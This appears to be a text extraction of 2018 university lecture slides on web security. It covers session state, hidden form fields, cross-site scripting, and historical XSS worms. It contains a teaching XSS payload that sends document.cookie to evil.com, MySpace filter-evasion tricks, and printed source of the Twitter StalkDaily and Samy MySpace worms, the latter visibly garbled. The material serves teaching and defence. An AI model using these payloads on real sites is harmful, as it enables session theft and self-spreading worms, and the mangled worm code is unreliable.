CSE 484 / CSE M 584: Computer Security and Privacy

Web Security

Autumn 2018

Tadayoshi (Yoshi) Kohno
yoshi@cs.Washington.edu

Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Ada Lerner, John Manferdelli, John Mitchell, Franziska Roesner, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials...
Admin

• HW2: Due Nov 7, 4:30pm

• Looking ahead, rough plan:
  • Lab 2 out ~Nov 5, due ~Nov 19 (Quiz Section on Nov 8)
  • HW 3 out ~Nov 19, due ~Nov 30
  • Lab 3 out ~Nov 26, due Dec 7 (Quiz Section on Nov 29)
Final Project Proposals: Nov 16 – group member names and brief description
Final Project Checkpoint: Nov 30 – preliminary outline and references
Final Project Presentation: Dec 10 – 12-15-minute video – must be on time
Explore something of interest to you, that could hopefully benefit you or your career in some way – technical topics, current events, etc
Web Application Security
Dynamic Web Application

GET / HTTP/1.1
HTTP/1.1 200 OK

index.php

Web server

Database server

Browser

10/31/2018
OWASP Top 10 Web Vulnerabilities

1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities
5. Broken Access Control
6. Security Misconfiguration
7. Cross-site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging and Monitoring
Web Session Management, and History
Store session information in URL; easily read on network (if not using HTTPS)
Bad Idea: Encoding State in URL

• Unstable, frequently changing URLs
• Vulnerable to eavesdropping and modification
• There is no guarantee that URL is private
FatBrain.com circa 1999

• User logs into website with his password, authenticator is generated, user is given special URL containing the authenticator

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=me@me.com&p2=540555758

  – With special URL, user doesn’t need to re-authenticate
  • Reasoning: user could not have not known the special URL without authenticating first. That’s true, BUT...

• Authenticators are global sequence numbers
  – It’s easy to guess sequence number for another user

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752
  – Partial fix: use random authenticators
Typical Solution:
Web Authentication via Cookies

• Servers can use cookies to store state on client
  – When session starts, server computes an authenticator and gives it back to browser in the form of a cookie
    • Authenticators must be unforgeable and tamper-proof
      – Malicious client shouldn’t be able to compute his own or modify an existing authenticator
    • Example: MAC(server’s secret key, session id)
      – With each request, browser presents the cookie
      – Server recomputes and verifies the authenticator
        • Server does not need to remember the authenticator
Storing State in Hidden Forms

• Dansie Shopping Cart (2006)
  – “A premium, comprehensive, Perl shopping cart. Increase your web sales by making it easier for your web store customers to order.”

```html
<form method=POST
  action="http://www.dansie.net/cgi-bin/scripts/cart.pl">
  <input type=hidden name=name value="Black leather purse">
  <input type=hidden name=price value="20.00">
  <input type=hidden name=sh value="1">
  <input type=hidden name=img value="purse.jpg">
  <input type=hidden name=custom1 value="Black leather purse with leather straps">
  <input type=submit name=add value="Put in Shopping Cart">
</form>

Change this to 2.00
Bargain shopping!

Fix: MAC client-side data, or, more likely, keep on server.
Q: What do you MAC?
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

• Server scripting language with C-like syntax
• Can intermingle static HTML and code

<input value=<<<?php echo $myvalue; ?>>

• Can embed variables in double-quote strings

$user = “world”; echo “Hello $user!”;
or $user = “world”; echo “Hello” . $user . “!”;

• Form data in global arrays $_GET, $_POST, …
Echoing / “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with
<html> <title>Search results</title> <body> You have searched for <?php echo $_GET['term'] ?>… </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html> Welcome, dear Bob</html>
Echoing / “Reflecting” User Input

naive.com/hello.cgi?name=Bob

Welcome, dear Bob

Welcome, dear

Reflected XSS

• User is tricked into visiting an honest website
  – Phishing email, link in a banner ad, comment in a blog

• Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  – The origin of this script is now the website itself!

• Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, leak information, cause user’s browser to attack other websites
  – This violates the “spirit” of the same origin policy
Echoing / “Reflecting” User Input

naive.com/hello.cgi?name=Bob

Welcome, dear Bob

Welcome, dear

Cross-Site Scripting (XSS)

Access some web page

\[<iframe src="http://naive.com/hello.cgi?name=\langle\text{script}\rangle\text{win.open("http://evil.com/steal.cgi?cookie=\"+document.cookie\")}\langle/\text{script}\rangle">\]

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

\[\text{GET/ steal.cgi?cookie=}\]

interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com

\[<\text{HTML}>\text{Hello, dear}\langle\text{script}\rangle\text{win.open("http://evil.com/steal.cgi?cookie=\"+document.cookie\")}\langle/\text{script}\rangle\text{Welcome!}</\text{HTML}>\]
Where Malicious Scripts Lurk, and Stored XSS

• User-created content
  – Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. request content
3. receive malicious script
4. steal valuable data

User victim

Server victim

Attack server

Attacker

Store bad stuff

Users view or download content
Twitter Worm (2009)

• Can save URL-encoded data into Twitter profile
• Data not escaped when profile is displayed
• Result: StalkDaily XSS exploit
  – If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token"+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token"+authtoken+"&user[url]="+xss+"&tab=home&update=update")
```

Preventing Cross-Site Scripting

• Any user input and client-side data must be preprocessed before it is used inside HTML

• Remove / encode HTML special characters
  – Use a good escaping library
    • OWASP ESAPI (Enterprise Security API)
    • Microsoft’s AntiXSS
  – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    • ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  – In ASP.NET, Server.HtmlEncode(string)
Preventing Injection is Hard!
MySpace Worm (1)

• Users can post HTML on their MySpace pages
• MySpace does not allow scripts in users’ HTML
  – No <script>, <body>, onclick, <a href=javascript://>
• ... but does allow <div> tags for CSS.
  – <div style="background:url( ‘javascript:alert(1)’ )”>
• But MySpace will strip out “javascript”
  – Use “java<NEWLINE>script” instead
• But MySpace will strip out quotes
  – Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))
MySpace Worm (2)

Resulting code:

```html
<div id=mycode style="background-color: #ff80a0; color: #000000; font-family: monospace; font-size: 14px;">
  var mycode = "var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextNode(C=D.htmlText);catch(e){}if(C){return C}else{return eval('document.body.innerHTML')}}function getData(AU){M=getDataFromURL(AU,'friendID');L=getDataFromURL(AU,'Mytoken');function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O>F.length;O++){var l=F[O].split('=');AS[l[0]]=l[1];}return AS}var J;var JA=getQueryParams();var L=JA['Mytoken']?var M=JA['friendID']?if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){function getData(g){var C;try{var D=document.body.createTextNode(C=D.htmlText);catch(e){}if(C){return C}else{return eval('document.body.innerHTML')}}function getClientFID(){return findIn(g),up_launchIC(+'A,A');function nothing(){function paramsToString(AU){Q=escape(A [P]);while(Q){AS=new Array();AS['']=O=0;O++}return N}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false;if(!M){return nothing}}if(!M){return nothing}if(AR){AF='but most of all, samy is my hero. &lt;d+iv id='+'AE+D+IV'&gt;var AG;function getHome(){if(J.readyState!=4){return return J.responseText}var AU=J.responseText;AG=findIn(AU,'P'+profileHeroes',"</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')===-1){if(AF){AF+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=heroes;AS['submit']='Preview';AS['interest']=AG,J=getXMLObj();httpSend('/index.cfm?fuseaction=profile,preview1 interests&Mytoken='+AR.postHero,'POST',paramsToString(AS));}function postHero(){if(J.readyState!=4}{return return J.responseText}var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']=heroes;AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile,processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS));function main(){var AN=getClientFID();var BH='index.cfm?fuseaction=user.viewProfile&friendID='+'AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,GET);xmlhttp2=getValue(BH);httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,GET');function processxForm(){if(xmlhttp2.responseText==true){return return J.responseText}var AS=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']+=AQ;AS['friendID']=11851658;AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS));function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('document.body.onreadystatechange=BI');xmlhttp2.open('GET',BH,BJ,true);if(BJ=='POST'){
```
```
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or **** anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak
Cross-Site Request Forgery (CSRF/XSRF)
Cookies in Forged Requests

User credentials automatically sent by browser